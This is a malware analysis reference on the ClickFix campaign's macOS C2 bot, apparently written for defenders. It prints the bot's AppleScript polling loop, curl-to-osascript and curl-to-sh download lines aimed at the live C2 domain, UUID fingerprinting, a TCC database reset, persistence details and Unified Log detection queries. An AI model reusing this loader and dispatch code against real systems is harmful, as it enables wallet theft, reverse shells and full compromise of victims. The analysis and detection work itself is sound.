---
type: reference
title: "ClickFix — C2 Bot Architecture (bmodule)"
description: "Resident AppleScript polling bot: 5 command dispatch types, machine fingerprinting, tccutil nuclear option, dual-layer persistence."
tags: [security, clickfix, c2, bot, applescript, command-dispatch, tccutil, persistence]
timestamp: "2026-07-14"
---

# ClickFix — C2 Bot Architecture (bmodule)

The resident C2 bot maintains persistent bidirectional communication with the C2 server. It is a modular command dispatch framework capable of dynamically loading and executing new capabilities on-demand.

See also: [[clickfix-handoff]] | [[clickfix-bddr]] | [[clickfix-stealers]]

---

## 1. Bot Download

After BDDR resolves the C2 domain, the main script downloads the bot:

```bash
curl -s -X POST "https://sj98xe4.xyz" \
    -d "txid=8a4e280e1159833ede425a1306c2efe5&bmodule" \
    | osascript
```

Piped directly to `osascript` — executed in-memory without being written to disk. Runs under `nohup` for terminal session independence.

---

## 2. Architecture

### Resident Loop

```applescript
-- Identity collection
set machineUUID to do shell script "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'"
set userName to do shell script "whoami"
set txID to do shell script "cat ~/.txid"
set c2Host to "https://sj98xe4.xyz"

-- First contact
do shell script "curl -s -X POST " & quoted form of c2Host & ¬
    " -d " & quoted form of ("uuid=" & machineUUID & "&username=" & userName & "&txid=" & txID & "&connect")

-- Polling loop
repeat
    delay 60
    set taskResponse to do shell script "curl -s -X POST " & quoted form of c2Host & ¬
        " -d " & quoted form of ("uuid=" & machineUUID & "&username=" & userName & "&txid=" & txID & "&task")

    if taskResponse contains "runloader" then
        do shell script "curl -s ... -d 'txid=" & txID & "&smodule' | osascript"
    else if taskResponse contains "runlight" then
        do shell script "curl -s ... -d 'txid=" & txID & "&lmodule' | osascript"
    else if taskResponse contains "replacer" then
        do shell script "curl -s ... -d 'txid=" & txID & "&ledger' | sh"
    else if taskResponse contains "openshell" then
        do shell script "curl -s ... -d 'txid=" & txID & "&shell' | sh"
    else if taskResponse contains "newconnect" then
        do shell script "echo " & quoted form of newTxid & " > ~/.txid"
        do shell script "tccutil reset All"
    end if
end repeat
```

### Dual-Layer Persistence

| Layer | Mechanism | Restart on crash |
|---|---|---|
| `launchd` | LaunchAgent plist (KeepAlive: true) | Yes — ThrottleInterval 30s |
| `nohup` | Process detachment | N/A — parent is launchd |

---

## 3. Machine Fingerprinting

```bash
ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
```

IOPlatformUUID is:
- Stable across reboots and reinstalls (hardware-tied)
- Readable without root
- A permanent, unique victim identifier

**Three-factor victim ID:** `IOPlatformUUID` + `whoami` + `txid`. Even if username changes or `~/.txid` is deleted, C2 can partially re-identify via UUID.

---

## 4. C2 Communication Protocol

### First Contact

```
POST https://sj98xe4.xyz
uuid=<IOPlatformUUID>&username=alefita&txid=8a4e280e...&connect
```

C2 logs: hardware UUID, macOS username, tracking ID, and implicitly the stolen password (from `~/.passphrase`).

### Polling Loop (every 60 seconds)

```
POST https://sj98xe4.xyz
uuid=<IOPlatformUUID>&username=alefita&txid=8a4e280e...&task
```

Response: one of `runloader`, `runlight`, `replacer`, `openshell`, `newconnect:<new_txid>`, or empty (no-op).

### Timing Analysis

```
T+0s:    First contact beacon
T+60s:   First task poll
T+120s:  Second task poll
T+N*60s: Infinite
```

60-second interval is aggressive but below most network anomaly detection baselines. Traffic pattern — periodic HTTPS POST to single domain — mimics legitimate analytics/telemetry beacons.

---

## 5. Command Dispatch

### runloader — Full Stealer

- Trigger: C2 operator confirms victim is crypto user
- Payload: ~195 KB smodule AppleScript
- Execution: piped to osascript — no disk write
- Capabilities: wallet LevelDB sweep, Desktop/Documents, Apple Notes
- See [[clickfix-stealers]]

### runlight — Light Stealer

- Trigger: fast, low-footprint triage
- Payload: ~168 KB lmodule
- Differences: no Desktop/Documents/Notes sweep
- See [[clickfix-stealers]]

### replacer — Ledger Wallet Clipboard Hijacker

- Payload: 34-byte stub (`#!/bin/bash\nexec >/dev/null 2>&1`)
- Current status: stub — silently exits
- Intended capability: monitor clipboard for crypto addresses, replace with attacker-controlled addresses
- Risk: **irreversible** — blockchain transactions cannot be recalled

### openshell — Reverse Shell

- Capability: full interactive reverse shell
- Implications:
  - Unrestricted filesystem access as victim user
  - Can read `~/.passphrase` (stolen password)
  - Can escalate to root via `sudo -S`
  - Can read SSH keys (`~/.ssh/`)
  - **Full system compromise**

### newconnect — Session Rotation + TCC Nuke

Two actions:

**Action 1: Rotate txid**
Overwrites `~/.txid` with new tracking ID. Anti-forensics — breaks session correlation.

**Action 2: `tccutil reset All`**

> This wipes the **entire macOS TCC database** for the current user. All privacy permissions (camera, mic, screen recording, contacts, calendar, photos, accessibility, full disk access) reset to "ask next time."

Why an attacker uses this:

| Scenario | Explanation |
|---|---|
| Bypass previous denials | If victim denied Keychain access, TCC reset clears denial — next request prompts again |
| Re-enable stealer | Wallet exfiltration blocked by Keychain denial can be re-attempted |
| Cover tracks | Removes record of what was denied |
| Setup for second stage | Operator sends `runloader` again, expecting victim to approve |

Technical: `tccutil reset All` requires **no sudo** for the current user's TCC database at `~/Library/Application Support/com.apple.TCC/TCC.db`.

---

## 6. Command Flow

```mermaid
flowchart TD
    START([LaunchAgent Activates]) --> UUID[Collect UUID + Username + txid]
    UUID --> CONNECT[POST connect to C2]
    CONNECT --> LOOP{60s poll loop}
    LOOP --> POLL[POST task]
    POLL --> RESPONSE{Parse Response}
    RESPONSE -->|runloader| RL[Fetch smodule → osascript]
    RESPONSE -->|runlight| RLT[Fetch lmodule → osascript]
    RESPONSE -->|replacer| REP[Fetch ledger → sh]
    RESPONSE -->|openshell| RSHELL[Fetch shell → sh]
    RESPONSE -->|newconnect| NC[new txid + tccutil reset All]
    RESPONSE -->|empty| LOOP
    RL --> LOOP
    RLT --> LOOP
    REP --> LOOP
    RSHELL --> LOOP
    NC --> LOOP
```

---

## 7. OpSec Analysis

| Feature | Intent | Effectiveness |
|---|---|---|
| `osascript` execution | Avoid shell history | High — not in `~/.zsh_history` |
| In-memory modules (pipe) | Avoid disk detection | High — no files on disk |
| 60s poll interval | Avoid anomaly detection | Medium — plausible as analytics |
| HTTPS C2 | Prevent content inspection | High — encrypted |
| UUID fingerprinting | Permanent victim ID | Very High — hardware-tied |
| txid rotation | Break forensic correlation | Medium |
| tccutil reset | Clear evidence + re-enable prompts | Noisy — generates unified log entries |

---

## 8. Detection Commands

```bash
# tccutil reset in Unified Log
log show --predicate 'process == "tccutil"' --last 24h

# osascript making network calls
log show --predicate 'process == "osascript" AND eventMessage CONTAINS "curl"' --last 24h

# Unexpected ioreg calls
log show --predicate 'eventMessage CONTAINS "IOPlatformUUID"' --last 24h

# C2 domain in DNS cache
dscacheutil -cachedump -entries Host | grep -E '(sj98xe4|sessionaquirecheck|maccf9c)'

# Polling process
ps aux | grep -E '(osascript|luhbmchzztkfbxao)'

# LaunchAgent execution
log show --predicate 'process == "launchd" AND eventMessage CONTAINS "luhbmchzztkfbxao"' --last 24h
```

---
*Source: redhat-clickfix-report/docs/04_stage3_c2_bot.md*
